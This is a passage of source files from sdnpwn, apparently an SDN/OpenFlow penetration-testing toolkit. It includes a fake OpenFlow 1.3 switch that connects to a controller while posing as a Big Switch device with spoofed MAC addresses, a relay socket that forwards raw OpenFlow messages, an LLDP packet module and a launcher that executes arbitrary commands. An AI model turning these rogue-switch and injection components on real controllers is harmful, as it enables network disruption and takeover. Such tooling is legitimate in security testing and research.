| 433 | ofMultipartReq = MultipartRequest() 434 | ofMultipartReq.unpack(body) 435 | 436 | statsReplyBody = [] 437 | for p in device.switch_features["ports"]: 438 | portDesc = p 439 | statsReplyBody.append(portDesc) 440 | 441 | ofMultipartResp = MultipartReply(xid=header.xid, multipart_type=ofMultipartReq.multipart_type, flags=UBInt16(0x00000000), body=statsReplyBody) 442 | device.comm_sock.send(ofMultipartResp.pack()) 443 | 444 | def handle_mp_experimenter(self, device, header, body, verbose): 445 | if(verbose): 446 | print("Got Multipart Experimenter") 447 | -------------------------------------------------------------------------------- /modules/sdnpwn/ofv13/sdnpwn_ofv13_switch.py: -------------------------------------------------------------------------------- 1 | 2 | import modules.sdnpwn.sdnpwn_common as sdnpwn 3 | 4 | from pyof.foundation.basic_types import DPID, UBInt8, UBInt16, UBInt32, UBInt64, Pad, HWAddress 5 | from pyof.v0x04.common.header import Header, Type 6 | from pyof.v0x04.symmetric.hello import Hello 7 | from pyof.v0x04.controller2switch.common import * 8 | from pyof.v0x04.controller2switch.multipart_reply import * 9 | from pyof.v0x04.common.port import PortConfig, PortState, Port, PortNo 10 | 11 | from modules.sdnpwn.ofv13.sdnpwn_ofv13_handlers import OFv13MessageHandler 12 | 13 | from random import randint 14 | import socket 15 | from struct import pack, unpack 16 | 17 | 18 | ''' 19 | 20 | Class to define and implement a partially functioning Openflow switch 21 | 22 | ''' 23 | 24 | 25 | class OpenFlowV13Switch(): 26 | switch_config = None 27 | switch_vendor_id = None 28 | switch_desc = None 29 | switch_features = None 30 | switch_ports = None 31 | switch_meters = None 32 | switch_vendor_ouid = None 33 | switch_vendor_ouid_bytes = None 34 | comm_sock = None 35 | autohandleMessages = True 36 | switch_stats = None 37 | switch_flows = None 38 | enable_output = None 39 | save_connection_data = None 40 | forward_packet_out_payload = None 41 | forward_packet_out_iface = None 42 | forward_packet_out_port_filter = None 43 | 44 | def __init__(self): 45 | self.switch_config = {} 46 | self.switch_vendor_id = 0 47 | self.switch_vendor_ouid = "5C:16:C7:" #Big switch networks 48 | self.switch_vendor_ouid_bytes = b'5c16c7' 49 | self.switch_desc = {} 50 | self.switch_features = {} 51 | self.switch_ports = [] 52 | self.switch_meters = {} 53 | self.switch_stats = {} 54 | self.switch_flows = {} 55 | 56 | self.comm_sock = None 57 | self.auto_handle_Messages = True 58 | self.enable_output = False 59 | self.save_connection_data = False 60 | self.forward_packet_out_payload = False 61 | self.forward_packet_out_iface = None 62 | self.forward_packet_out_port_filter = None 63 | 64 | self.__initDefaults__() 65 | 66 | def __initDefaults__(self): 67 | ''' 68 | Called on initialisation. Will set default values for statistics. 69 | ''' 70 | self.switch_stats["aggregate"] = {} 71 | self.switch_stats["aggregate"]["packet_count"] = 0 72 | self.switch_stats["aggregate"]["byte_count"] = 0 73 | self.switch_stats["aggregate"]["flow_count"] = 0 74 | 75 | self.switch_stats["port"] = {} 76 | 77 | self.switch_stats["flow"] = {} 78 | 79 | self.switch_stats["queue"] = {} 80 | 81 | def setVendorID(self, vid): 82 | self.switch_vendor_id = vid 83 | 84 | def setVendorOUID(self, ouid): 85 | self.switch_vendor_ouid = ouid 86 | 87 | def setDescription(self, mfr_desc="", hw_desc="", sw_desc="", serial_num="", dp_desc=""): 88 | self.switch_desc["switch_mfr_desc"] = mfr_desc 89 | self.switch_desc["switch_hw_desc"] = hw_desc 90 | self.switch_desc["switch_sw_desc"] = sw_desc 91 | self.switch_desc["switch_serial_num"] = serial_num 92 | self.switch_desc["switch_dp_desc"] = dp_desc 93 | 94 | def setConfig(self, flags="", miss_send_len=""): 95 | self.switch_config["flags"] = flags 96 | self.switch_config["miss_send_len"] = miss_send_len 97 | 98 | def setFeatures(self, dpid="", no_of_buffers=1, no_of_tables=1, capabilities=0x00000000, actions=0, ports=[], meters={}): 99 | self.switch_features["dpid"] = dpid 100 | self.switch_features["no_of_buffers"] = no_of_buffers 101 | self.switch_features["no_of_tables"] = no_of_tables 102 | self.switch_features["capabilities"] = capabilities 103 | self.switch_features["actions"] = actions 104 | self.switch_features["ports"] = ports 105 | self.switch_features["meters"] = meters 106 | 107 | def loadConfiguration(self, config): 108 | self.switch_vendor_id = config["vendor_id"] 109 | self.switch_desc["switch_mfr_desc"] = config["description"]["manufacturer_description"] 110 | self.switch_desc["switch_hw_desc"] = config["description"]["hardware_description"] 111 | self.switch_desc["switch_sw_desc"] = config["description"]["software_description"] 112 | self.switch_desc["switch_serial_num"] = config["description"]["serial_number"] 113 | self.switch_desc["switch_dp_desc"] = config["description"]["dataplane_description"] 114 | self.switch_features["dpid"] = config["features"]["dataplane_id"] 115 | self.switch_features["no_of_buffers"] = config["features"]["number_of_buffers"] 116 | self.switch_features["no_of_tables"] = config["features"]["number_of_tables"] 117 | self.switch_features["capabilities"] = config["features"]["capabilities"] 118 | self.switch_features["actions"] = config["features"]["actions"] 119 | self.switch_features["meters"] = config["features"]["meters"] 120 | self.switch_features["ports"] = [] 121 | if(isinstance(config["ports"], list)): 122 | for port in config["ports"]: 123 | self.addPort(port["port_no"], port["hardware_address"], port["port_name"], port["port_config"], port["port_state"], port["port_curr"], port["port_advertised"], port["port_supported"], port["port_peer"]) #Need to add config options here 124 | elif(isinstance(config["ports"], int)): 125 | for i in range(config["ports"]): 126 | self.addPort() 127 | else: 128 | sdnpwn.message("Could not load port config. Switch will have no ports.", sdnpwn.WARNING) 129 | 130 | self.switch_stats["flow"] = config["stats"]["flow_stats"] 131 | #print(self.switch_stats["flow"]) 132 | 133 | def addPort(self, port_no=0, hw_addr="", port_name="", port_config=0, port_state=PortState.OFPPS_LIVE, port_curr=0, port_advertised=0, port_supported=0, port_peer=0): 134 | if(port_no == 0): 135 | port_no = randint(30000,60000) 136 | if(hw_addr == ""): 137 | hw_addr = sdnpwn.generateRandomMacAddress(self.switch_vendor_ouid) 138 | if(port_name == ""): 139 | port_name = "OF Port " + str(port_no) 140 | 141 | initQueueID = randint(30000,65534) 142 | 143 | port = Port(port_no=port_no, 144 | hw_addr=HWAddress(hw_addr), 145 | name=port_name, 146 | config=port_config, 147 | state=port_state, 148 | curr=port_curr, 149 | advertised=port_advertised, 150 | supported=port_supported, 151 | peer=port_peer, 152 | curr_speed=100000, 153 | max_speed=100000) 154 | self.switch_ports.append(port) 155 | self.switch_features["ports"] = self.switch_ports 156 | self.switch_stats["port"][str(port_no)] = PortStats(port_no=port_no, rx_packets=0, tx_packets=0, rx_bytes=0, tx_bytes=0, 157 | rx_dropped=0, tx_dropped=0, rx_errors=0, tx_errors=0, rx_frame_err=0, 158 | rx_over_err=0, rx_crc_err=0, collisions=0, duration_sec=0, duration_nsec=0) 159 | 160 | self.switch_stats["queue"][str(port_no) + ":" + str(initQueueID)] = QueueStats(port_no=port_no, queue_id=initQueueID, tx_bytes=0, tx_packets=0, tx_errors=0) 161 | 162 | def connect(self, controllerIP, port): 163 | try: 164 | self.comm_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 165 | self.comm_sock.connect((controllerIP, port)) 166 | except Exception as e: 167 | sdnpwn.message("Problem connecting to " + controllerIP + ":" + str(port), sdnpwn.ERROR) 168 | if(self.save_connection_data): 169 | with open("connection_status", 'w') as f: 170 | f.write("{\"status\": \"connection failed\", \"error\": \"" + str(e) + "\"}\n") 171 | print 172 | return 173 | 174 | sdnpwn.message("Socket connected. Sending OF Hello...", sdnpwn.SUCCESS) 175 | 176 | ofHello = Hello(xid=5) 177 | ofHello.header.xid = 5 178 | self.comm_sock.send(ofHello.pack()) # Send Hello 179 | header = Header() 180 | replyHeader = self.comm_sock.recv(8) 181 | 182 | # Get hello response header & body 183 | header.unpack(replyHeader) 184 | sdnpwn.message("Got " + str(header.message_type), sdnpwn.NORMAL) 185 | sdnpwn.message("Controller base OF version: " + str(header.version), sdnpwn.VERBOSE) 186 | try: 187 | replyBody = self.comm_sock.recv(header.length-8) #Get body but ignore 188 | except: 189 | pass 190 | 191 | sdnpwn.message("Connected to controller", sdnpwn.SUCCESS) 192 | if(self.save_connection_data): 193 | with open("connection_status", 'w') as f: 194 | f.write("{\"status\": \"connected\", \"of_version\": \"1.3\"}\n") 195 | 196 | if(self.auto_handle_Messages == True): 197 | run = True 198 | of_msg_handler = OFv13MessageHandler() 199 | of_msg_handler.save_connection_data = self.save_connection_data 200 | sdnpwn.message("Handling OpenFlow messages automatically", sdnpwn.NORMAL) 201 | while(run): 202 | #try: 203 | #Get feature request 204 | reply = self.comm_sock.recv(8) 205 | header.unpack(reply) 206 | if(header.length == None): 207 | sdnpwn.message("Got bad OF message. Closing.", sdnpwn.WARNING) 208 | run = False 209 | self.comm_sock.close() 210 | else: 211 | replyBody = self.comm_sock.recv(header.length-8) 212 | try: 213 | of_msg_handler.autohandle_messages(self, header, replyBody, self.enable_output) 214 | except Exception as e: 215 | sdnpwn.message("Error handling OF message", sdnpwn.WARNING) 216 | print(e) 217 | #except Exception as e: 218 | #sdnpwn.message("Socket disconnected", sdnpwn.ERROR) 219 | #print(e) 220 | #self.comm_sock.close() 221 | #break 222 | else: 223 | return True 224 | 225 | def activateRelaySocket(self, port): 226 | hostname = socket.gethostbyname(socket.gethostname()) 227 | listenSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 228 | listenSock.bind(("0.0.0.0", port)) 229 | listenSock.listen(1) 230 | data = b'' 231 | sdnpwn.message("[Relay Socket] Relay port open on port " + str(port) + "", sdnpwn.NORMAL) 232 | while 1: 233 | try: 234 | conn, addr = listenSock.accept() 235 | msgHeader = conn.recv(8) 236 | header = Header() 237 | header.unpack(msgHeader) 238 | sdnpwn.message("[Relay Socket] Got " + str(header.message_type) + " from " + str(addr), sdnpwn.NORMAL) 239 | msgBody = conn.recv(header.length-8) 240 | msgFull = header.pack() + msgBody 241 | print(msgFull) 242 | self.comm_sock.send(msgFull) 243 | except Exception as e: 244 | sdnpwn.message("[Relay socket] Error handling message", sdnpwn.WARNING) 245 | print(e) 246 | listenSock.close() 247 | -------------------------------------------------------------------------------- /modules/sdnpwn/sdnpwn_cli.py: -------------------------------------------------------------------------------- 1 | 2 | import modules.sdnpwn.sdnpwn_common as com 3 | import importlib.machinery 4 | import errno 5 | import os 6 | import readline 7 | import sys 8 | import signal 9 | 10 | def info(): 11 | return "Command line interface for SDNPWN." 12 | 13 | def usage(): 14 | return "sdnpwn# " 15 | 16 | def signal_handler(signal, frame): 17 | print("") 18 | com.message("Bye", com.NORMAL) 19 | sys.exit(0) 20 | 21 | def run(params): 22 | cmd = "" 23 | prompt = "$" 24 | #Check for root and change prompt if user has root 25 | if(os.geteuid() == 0): 26 | prompt = "#" 27 | else: 28 | com.message("Root not detected. Some modules may be limited.",com.WARNING) 29 | while(cmd != "exit"): 30 | signal.signal(signal.SIGINT, signal_handler) 31 | cmd = input("\033[1msdnpwn" + prompt + " \033[0m") 32 | if(cmd == "exit"): 33 | com.message("Bye", com.NORMAL) 34 | exit(0) 35 | elif(cmd != ""): 36 | params = cmd.split(" ") 37 | cmd = params[0] 38 | cmd = cmd.replace("-", "_") 39 | try: 40 | loader = importlib.machinery.SourceFileLoader(cmd, "modules/" + cmd + ".py") 41 | mod = loader.load_module() 42 | filter(None, params) 43 | mod.run(params) 44 | del sys.modules[cmd] 45 | importlib.reload(signal) 46 | importlib.reload(com) 47 | except InterruptedError as e: 48 | print("Module interupted.") 49 | except IOError as e: 50 | if(e == errno.EPERM): 51 | com.message("Run as root!", com.ERROR) 52 | else: 53 | com.message("Error importing " + cmd + " as a module.", com.ERROR) 54 | print(e) 55 | except Exception as e: 56 | com.message("Something went wrong!", com.ERROR) 57 | print(e) 58 | -------------------------------------------------------------------------------- /modules/sdnpwn/sdnpwn_common.py: -------------------------------------------------------------------------------- 1 | 2 | import netifaces 3 | from random import randint 4 | from subprocess import check_output 5 | from tabulate import tabulate 6 | 7 | SUCCESS = "\033[32m[*]\033[0m " 8 | WARNING = "\033[93m[!]\033[0m " 9 | ERROR = "\033[91m[!]\033[0m " 10 | NORMAL = "\033[0m[+]\033[0m " 11 | VERBOSE = " " 12 | 13 | SDNPWN_MODULE_USAGE = [] 14 | 15 | # sdnpwn general functions 16 | def message(msg, col): 17 | print(col + msg + "\033[0m") 18 | 19 | def msg(msg, col): 20 | print(col + msg + "\033[0m") 21 | 22 | def printNormal(msg): 23 | message(msg, NORMAL) 24 | 25 | def printWarning(msg): 26 | message(msg, WARNING) 27 | 28 | def printError(msg): 29 | message(msg, ERROR) 30 | 31 | def printSuccess(msg): 32 | message(msg, SUCCESS) 33 | 34 | def printVerbose(msg): 35 | message(msg, VERBOSE) 36 | 37 | def addUsage(option, optionDesc, required=False): 38 | reqTranslate = {True:"Yes", False: "No"} 39 | SDNPWN_MODULE_USAGE.append([option, optionDesc, reqTranslate[required]]) 40 | 41 | def getUsage(): 42 | return tabulate(SDNPWN_MODULE_USAGE, headers=["Option", "Description", "Required"]) 43 | 44 | def printUsage(): 45 | print(tabulate(SDNPWN_MODULE_USAGE, headers=["Option", "Description", "Required"])) 46 | 47 | def checkArg(option, params): 48 | if(isinstance(option, list)): 49 | for v in option: 50 | if(v in params): 51 | return True 52 | elif(option in params): 53 | return True 54 | return False 55 | 56 | def getArg(option, params, default=None): 57 | if(isinstance(option, list)): 58 | for v in option: 59 | if(v in params): 60 | return params[params.index(v)+1] 61 | elif(option in params): 62 | return params[params.index(option)+1] 63 | return default 64 | 65 | # Networking related functions 66 | def getIPAddress(iface): 67 | if(iface in netifaces.interfaces()): 68 | return netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr'] 69 | else: 70 | return '0' 71 | 72 | def getNetworkMask(iface): 73 | if(iface in netifaces.interfaces()): 74 | return netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['netmask'] 75 | else: 76 | return '0' 77 | 78 | def getMacAddress(iface): 79 | if(iface in netifaces.interfaces()): 80 | return netifaces.ifaddresses(iface)[netifaces.AF_LINK][0]['addr'] 81 | else: 82 | return '0' 83 | 84 | def getTargetMacAddress(iface, ip): 85 | try: 86 | #Check ARP cache first 87 | mac = "" 88 | arpTable = str(check_output(["arp", "-n"])) 89 | for a in arpTable: 90 | if(ip in a): 91 | mac = list(filter(None, (a.split(" "))))[2] 92 | if(mac != "?"): 93 | return mac 94 | #MAC not in cache, send ARP request 95 | resp = sr(ARP(op=ARP.who_has, psrc=getIPAddress(iface), pdst=ip), timeout=1) 96 | if(resp[0][ARP][0][1].hwsrc != None): 97 | return resp[0][ARP][0][1].hwsrc 98 | else: 99 | return "" 100 | except: 101 | return "" 102 | 103 | def getDefaultGatewayIPAddress(): 104 | return netifaces.gateways()['default'][netifaces.AF_INET][0] 105 | 106 | def generateRandomMacAddress(ouid=None): 107 | mac = "" 108 | alph = "123456789abcdef" 109 | t = 0 110 | l = 12 111 | if(ouid is not None): 112 | l = 6 113 | mac = ouid 114 | if(mac[len(mac)-1] != ":"): 115 | mac+= ":" 116 | for i in range(0, l): 117 | if(t == 2): 118 | t = 0 119 | mac = mac + ":" 120 | mac = mac + alph[randint(0,len(alph)-1)] 121 | t+=1 122 | return mac 123 | -------------------------------------------------------------------------------- /modules/sdnpwn/sdnpwn_lldp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ## This file is part of Scapy 3 | ## See http://www.secdev.org/projects/scapy for more informations 4 | ## Copyright (C) Philippe Biondi 5 | ## This program is published under a GPLv2 license 6 | 7 | ## Copyright (c) 2011 Jochen Bartl 8 | 9 | """ 10 | LLDP (Link Layer Discovery Protocol) 11 | """ 12 | 13 | from scapy.packet import * 14 | from scapy.fields import * 15 | from scapy.layers.l2 import Ether 16 | from scapy.layers.inet6 import IP6Field 17 | 18 | _LLDP_tlv_cls = {0: "LLDPDUEnd", 19 | 1: "LLDPChassisId", 20 | 2: "LLDPPortId", 21 | 3: "LLDPTTL", 22 | 4: "LLDPPortDescription", 23 | 5: "LLDPSystemName", 24 | 6: "LLDPSystemDescription", 25 | 7: "LLDPSystemCapabilities", 26 | 8: "LLDPManagementAddress", 27 | 127: "LLDPOrganizationalSpecific"} 28 | 29 | _LLDP_tlv_types = {0: "End of LLDPDU", 30 | 1: "Chassis Id", 31 | 2: "Port Id", 32 | 3: "Time to Live", 33 | 4: "Port Description", 34 | 5: "System Name", 35 | 6: "System Description", 36 | 7: "System Capabilities", 37 | 8: "Management Address", 38 | 127: "Organization Specific"} 39 | 40 | 41 | # (oui, subtype) 42 | # 0x0080c2 - IEEE 802.1 43 | # 0x00120f - IEEE 802.3 44 | _LLDPOrgSpec_tlv_cls = {(0x0080c2, 0x01): "LLDPDot1PortVlanId", 45 | } 46 | class ByteField(Field): 47 | def __init__(self, name, default): 48 | Field.__init__(self, name, default, "B") 49 | 50 | class SignedByteField(Field): 51 | def __init__(self, name, default): 52 | Field.__init__(self, name, default, "b") 53 | def randval(self): 54 | return RandSByte() 55 | 56 | class XByteField(ByteField): 57 | def i2repr(self, pkt, x): 58 | return lhex(self.i2h(pkt, x)) 59 | 60 | class OByteField(ByteField): 61 | def i2repr(self, pkt, x): 62 | return "%03o"%self.i2h(pkt, x) 63 | 64 | class ThreeBytesField(ByteField): 65 | def __init__(self, name, default): 66 | Field.__init__(self, name, default, "!I") 67 | self.sz = 3 68 | def addfield(self, pkt, s, val): 69 | return s+struct.pack(self.fmt, self.i2m(pkt,val))[1:4] 70 | def getfield(self, pkt, s): 71 | return s[3:], self.m2i(pkt, struct.unpack(self.fmt, "\x00"+s[:3])[0]) 72 | 73 | class XThreeBytesField(ThreeBytesField,XByteField): 74 | def i2repr(self, pkt, x): 75 | return XByteField.i2repr(self, pkt, x) 76 | 77 | 78 | def _LLDPGuessPacketClass(p=None, **kargs): 79 | if p is None: 80 | return LLDPGeneric(**kargs) 81 | cls = Raw 82 | if len(p) >= 2: 83 | try: 84 | t = struct.unpack("!B", p[0:1])[0] 85 | except Exception as e: 86 | print("ERROR") 87 | print(e) 88 | t = (0xfe & t) >> 1 89 | if t != 127: 90 | clsname = _LLDP_tlv_cls.get(t, "LLDPGeneric") 91 | else: 92 | oui = struct.unpack("!I", "\x00" + p[2:5])[0] 93 | subtype = struct.unpack("!B", p[5])[0] 94 | clsname = _LLDPOrgSpec_tlv_cls.get((oui, subtype), "LLDPOrgSpecGeneric") 95 | cls = globals()[clsname] 96 | 97 | return cls(p, **kargs) 98 | 99 | 100 | class LLDPGeneric(Packet): 101 | name = "LLDP Generic TLV" 102 | fields_desc = [BitField("type", 1, 7), 103 | BitFieldLenField("length", None, 9, length_of="value"), 104 | StrLenField("value", "", length_from=lambda x: x.length)] 105 | 106 | def guess_payload_class(self, p): 107 | return Padding 108 | 109 | def post_build(self, p, pay): 110 | if self.length is None: 111 | l = len(p) - 2 112 | p = chr((self.type << 1) ^ (l >> 8)) + chr(l & 0xff) + p[2:] 113 | 114 | return p+pay 115 | 116 | 117 | class LLDPOrgSpecGeneric(LLDPGeneric): 118 | name = "LLDP Org Spec Generic TLV" 119 | fields_desc = [BitField("type", 127, 7), 120 | BitFieldLenField("length", None, 9, length_of="value"), 121 | XThreeBytesField("oui", 0), 122 | ByteField("subtype", 0), 123 | StrLenField("value", "", length_from=lambda x: x.length - 4)] 124 | 125 | 126 | class LLDPDUEnd(LLDPGeneric): 127 | name = "End of LLDPDU" 128 | fields_desc = [BitField("type", 0, 7), 129 | BitField("length", 0, 9)] 130 | 131 | 132 | _LLDPChassisId_Subtypes = {0: "Reserved", 133 | 1: "Chassis component", 134 | 2: "Interface alias", 135 | 3: "Port component", 136 | 4: "MAC address", 137 | 5: "Network address", 138 | 6: "Interface name", 139 | 7: "Locally assigned"} 140 | 141 | 142 | class LLDPChassisId(LLDPGeneric): 143 | name = "LLDP Chassis" 144 | fields_desc = [BitField("type", 1, 7), 145 | BitField("length", None, 9), 146 | ByteEnumField("subtype", 4, _LLDPChassisId_Subtypes), 147 | ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.subtype == 4), 148 | # TODO Subtype 5, IPv4 / IPv6 149 | # Catch-all field for undefined subtypes 150 | ConditionalField(StrLenField("value", "", length_from=lambda x: x.length - 1), 151 | lambda pkt: pkt.subtype not in [4])] 152 | 153 | 154 | _LLDPPortId_Subtypes = {0: "Reserved", 155 | 1: "Interface alias", 156 | 2: "Port component", 157 | 3: "MAC address", 158 | 4: "Network address", 159 | 5: "Interface name", 160 | 6: "Agent circuit ID", 161 | 7: "Locally assigned"} 162 | 163 | 164 | class LLDPPortId(LLDPGeneric): 165 | name = "LLDP PortId" 166 | fields_desc = [BitField("type", 2, 7), 167 | BitField("length", None, 9), 168 | ByteEnumField("subtype", 3, _LLDPPortId_Subtypes), 169 | ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.subtype == 3), 170 | # TODO Subtype 4, IPv4 / IPv6 171 | # Catch-all field for undefined subtypes 172 | ConditionalField(StrLenField("value", "", length_from=lambda x: x.length - 1), 173 | lambda pkt: pkt.subtype not in [3])] 174 | 175 | 176 | class LLDPTTL(LLDPGeneric): 177 | name = "LLDP TTL" 178 | fields_desc = [BitField("type", 3, 7), 179 | BitField("length", None, 9), 180 | ShortField("seconds", 120)] 181 | 182 | 183 | class LLDPPortDescription(LLDPGeneric): 184 | name = "LLDP Port Description" 185 | type = 4 186 | value = "FastEthernet0/1" 187 | 188 | 189 | class LLDPSystemName(LLDPGeneric): 190 | name = "LLDP System Name" 191 | type = 5 192 | value = "Scapy" 193 | 194 | 195 | class LLDPSystemDescription(LLDPGeneric): 196 | name = "LLDP System Description" 197 | type = 6 198 | value = "Scapy" 199 | 200 | 201 | _LLDPSystemCapabilities = ["other", "repeater", "bridge", "wlanap", "router", "telephone", "docsiscable", "stationonly"] 202 | 203 | 204 | class LLDPSystemCapabilities(LLDPGeneric): 205 | name = "LLDP System Capabilities" 206 | fields_desc = [BitField("type", 7, 7), 207 | BitField("length", None, 9), 208 | # Available capabilities 209 | FlagsField("capabilities", 0, 16, _LLDPSystemCapabilities), 210 | # Enabled capabilities 211 | FlagsField("enabled", 0, 16, _LLDPSystemCapabilities)] 212 | 213 | 214 | _LLDPManagementAddress_Subtype = {1: "IPv4", 215 | 2: "IPv6", 216 | 6: "802" 217 | } 218 | 219 | _LLDPManagementAddress_IfSubtype = {1: "Unknown", 220 | 2: "ifIndex", 221 | 3: "System Port Number" 222 | } 223 | 224 | 225 | class LLDPManagementAddress(LLDPGeneric): 226 | name = "LLDP Management Address" 227 | fields_desc = [BitField("type", 8, 7), 228 | BitField("length", None, 9), 229 | ByteField("addrlen", None), 230 | ByteEnumField("addrsubtype", 1, _LLDPManagementAddress_Subtype), 231 | ConditionalField(IPField("ipaddr", "192.168.0.1"), lambda pkt: pkt.addrsubtype == 1), 232 | ConditionalField(IP6Field("ip6addr", "2001:db8::1"), lambda pkt: pkt.addrsubtype == 2), 233 | ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.addrsubtype == 6), 234 | ConditionalField(StrLenField("addrval", "", length_from=lambda x: x.addrlen - 1), 235 | lambda pkt: pkt.addrsubtype not in [1, 2, 6]), 236 | ByteEnumField("ifsubtype", 2, _LLDPManagementAddress_IfSubtype), 237 | IntField("ifnumber", 0), 238 | FieldLenField("oidlen", None, length_of="oid", fmt="B"), 239 | StrLenField("oid", "", length_from=lambda x: x.oidlen)] 240 | 241 | def post_build(self, p, pay): 242 | # TODO Remove redundant code. LLDPGeneric.post_build() 243 | if self.length is None: 244 | l = len(p) - 2 245 | p = chr((self.type << 1) ^ (l >> 8)) + chr(l & 0xff) + p[2:] 246 | 247 | if self.addrlen is None: 248 | addrlen = len(p) - 2 - 8 - len(self.oid) + 1 249 | p = p[:2] + struct.pack("B", addrlen) + p[3:] 250 | 251 | return p+pay 252 | 253 | 254 | _LLDPDot1Subtype = {1: "Port VLAN Id"} 255 | 256 | 257 | class LLDPDot1PortVlanId(LLDPOrgSpecGeneric): 258 | name = "LLDP IEEE 802.1 Port VLAN Id" 259 | fields_desc = [BitField("type", 127, 7), 260 | BitField("length", None, 9), 261 | # TODO: XThreeBytesEnumField 262 | XThreeBytesField("oui", 0x0080c2), 263 | ByteEnumField("subtype", 0x01, _LLDPDot1Subtype), 264 | ShortField("vlan", 1)] 265 | 266 | 267 | class LLDP(Packet): 268 | name ="LLDP" 269 | fields_desc = [PacketListField("tlvlist", [], _LLDPGuessPacketClass)] 270 | 271 | 272 | bind_layers(Ether, LLDP, type=0x88cc) 273 | 274 | -------------------------------------------------------------------------------- /modules/sdnpwn/system.py: -------------------------------------------------------------------------------- 1 | from subprocess import call 2 | import signal 3 | import errno 4 | import modules.sdnpwn.sdnpwn_common as com 5 | 6 | def info(): 7 | return "Run system commands from within the sdnpwn command line." 8 | 9 | def usage(): 10 | return "system \nExample: \n\t1) system ifconfig\n\t2) system ifconfig eth0 192.168.1.1 netmask 255.255.255.0\n\t3) system whoami" 11 | 12 | def run(params): 13 | if(len(params) > 1): 14 | params.pop(0) 15 | try: 16 | call(params) 17 | except: 18 | com.message("Problem executing command. May require Root.", com.ERROR) 19 | return 20 | else: 21 | print(info()) 22 | print(usage()) 23 | -------------------------------------------------------------------------------- /sdnpwn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from warnings import filterwarnings 6 | filterwarnings("ignore") 7 | import sys 8 | import errno 9 | import modules.sdnpwn.sdnpwn_common as com 10 | import importlib.machinery 11 | import os 12 | 13 | def main(): 14 | if((len(sys.argv) == 1)): 15 | try: 16 | loader = importlib.machinery.SourceFileLoader("help", "modules/sdnpwn/help.py") 17 | mod = loader.load_module() 18 | params = sys.argv.pop(0) 19 | filter(None, params) 20 | mod.run(params) 21 | del mod 22 | except IOError: 23 | com.message("Error importing " + modName + " as a module.", com.ERROR) 24 | elif(len(sys.argv) > 1): 25 | modName = sys.argv[1] 26 | modName = modName.replace("-", "_") 27 | params = sys.argv 28 | filter(None, params) 29 | params.pop(0) 30 | try: 31 | moduleLocation = "" 32 | for direc, direcs, filenames in os.walk('modules/'): 33 | for filename in filenames: 34 | if(filename == (modName + ".py")): 35 | moduleLocation = direc + "/" + (modName + ".py") 36 | break 37 | loader = importlib.machinery.SourceFileLoader(modName, moduleLocation) 38 | mod = loader.load_module() 39 | mod.run(params) 40 | del sys.modules[modName] 41 | except PermissionError: 42 | com.message("Run as root!", com.ERROR) 43 | except IOError as e: 44 | if(e == errno.EPERM): 45 | com.message("Run as root!", com.ERROR) 46 | else: 47 | com.msg("Error: " + modName + " does not appear to be a valid module", com.ERROR) 48 | except ImportError as e: 49 | com.message("Error importing " + modName + " as a module.", com.ERROR) 50 | print(e) 51 | #except Exception as e: 52 | #com.message("Something went wrong!", com.ERROR) 53 | #print(e) 54 | 55 | if __name__=='__main__': 56 | main() 57 | -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo " 4 | 5 | sdnpwn requires the following software... 6 | From package manager: 7 | - python3 8 | - python3-netifaces 9 | - python3-scipy 10 | - bridge-utils 11 | - python3-tabulate 12 | - python3-pip 13 | - git 14 | From pip: 15 | - scapy 16 | - websocket-client 17 | - python-openflow 18 | 19 | This script will now download the above software using apt-get and pip3. If you're ok with this enter 'y' to continue. 20 | 21 | " 22 | read -p "Install Required Software? [y/N] " res 23 | 24 | if [ "$res" == "y" ]; then 25 | sudo apt-get update 26 | sudo apt-get install python3 python3-pip python3-netifaces python3-scipy git bridge-utils python3-tabulate 27 | pip install scapy 28 | sudo pip install scapy 29 | pip install websocket-client 30 | pip install python-openflow 31 | 32 | echo -e "\n 33 | 34 | Maven is used by some modules to build Java-based SDN applications" 35 | 36 | read -p "Would you like to install Maven? [y/N] " res 37 | 38 | if [ "$res" == "y" ]; then 39 | apt-get install maven 40 | fi 41 | 42 | else 43 | echo "Quiting." 44 | fi 45 | --------------------------------------------------------------------------------